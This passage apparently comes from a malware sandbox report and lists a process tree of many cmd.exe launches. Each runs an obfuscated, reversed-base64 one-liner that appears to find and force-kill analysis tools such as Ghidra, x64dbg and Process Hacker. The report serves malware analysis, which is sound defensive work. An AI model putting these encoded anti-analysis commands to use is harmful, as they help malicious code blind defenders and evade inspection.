  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3972
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:52
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1676
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5724
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1500
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:1612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1956
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5244
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3492
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:868
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2644
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5216
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5356
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5992
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3152
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4404
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:248
- C:\Windows\SYSTEM32\cmd.exe
